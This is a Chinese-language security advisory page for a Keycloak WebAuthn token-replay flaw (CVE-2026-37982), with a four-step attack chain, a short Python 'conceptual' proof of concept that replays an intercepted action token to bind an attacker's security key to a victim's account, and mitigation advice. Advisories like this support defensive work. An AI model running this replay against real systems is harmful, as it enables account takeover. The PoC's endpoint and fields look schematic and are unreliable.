IPBUF安全漏洞报告
English
CVE-2026-37982 CVSS 6.8 中危

CVE-2026-37982 Keycloak WebAuthn令牌重放漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-37982
漏洞类型
认证绕过、令牌重放
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Keycloak

相关标签

KeycloakWebAuthn令牌重放认证绕过账户接管CVE-2026-37982

漏洞概述

Keycloak存在身份验证漏洞,允许攻击者在WebAuthn流程中重放`ExecuteActionsActionToken`令牌。攻击者通过截获执行操作的邮件链接,可将自己的身份验证器注册到受害者账户,导致未经授权的硬件凭证注册,从而实现持久账户接管。

技术细节

该漏洞位于Keycloak的WebAuthn身份验证流程中。由于系统未能正确校验`ExecuteActionsActionToken`的使用状态或缺少严格的防重放机制,攻击者能够利用截获的有效令牌发起非授权请求。攻击者首先需要通过网络攻击手段(如中间人攻击)获取受害者邮箱中用于执行操作的链接。随后,攻击者向服务器重放该令牌,触发WebAuthn认证器注册流程。在此过程中,服务器错误地将攻击者控制的硬件设备与受害者账户绑定。由于WebAuthn通常作为第二因素或无密码登录手段,一旦绑定成功,攻击者即可绕过密码验证,直接获取账户的完全控制权限,且难以被用户察觉,具有极高的安全风险。

攻击链分析

STEP 1
步骤1:信息截获
攻击者通过中间人攻击或入侵邮箱,截获Keycloak发送给受害者的包含ExecuteActionsActionToken的执行操作邮件链接。
STEP 2
步骤2:令牌重放
攻击者利用截获的Token,向Keycloak服务器发送请求,触发WebAuthn认证器注册流程。
STEP 3
步骤3:恶意注册
由于漏洞存在,服务器接受该请求并允许攻击者将自己控制的硬件安全密钥绑定到受害者的账户上。
STEP 4
步骤4:持久接管
攻击者使用已注册的硬件密钥通过WebAuthn流程登录受害者账户,实现持久性账户接管。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual PoC for CVE-2026-37982 # This script demonstrates the replay of an intercepted ExecuteActionsActionToken target_url = "https://target-keycloak.com/auth/realms/master/execute-actions" intercepted_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Intercepted token from email # Attacker crafts a request to register their WebAuthn authenticator using the victim's token payload = { "action": "UPDATE_PASSWORD_WEB_AUTHN", # Example action triggering WebAuthn flow "authenticator_attachment": "cross-platform", "user_verification": "required", "attestation": "none" } headers = { "Authorization": f"Bearer {intercepted_token}", "Content-Type": "application/json" } try: # Replay the token to bind attacker's device to victim's account response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Success: Attacker's authenticator registered to victim's account.") else: print(f"[-] Failed: Server returned {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Keycloak (具体受影响版本请参考Red Hat安全公告RHSA-2026:19596及RHSA-2026:19597)

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用WebAuthn功能或限制执行操作邮件链接的有效期与使用次数,并加强对网络流量的监控以防止令牌被截获。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表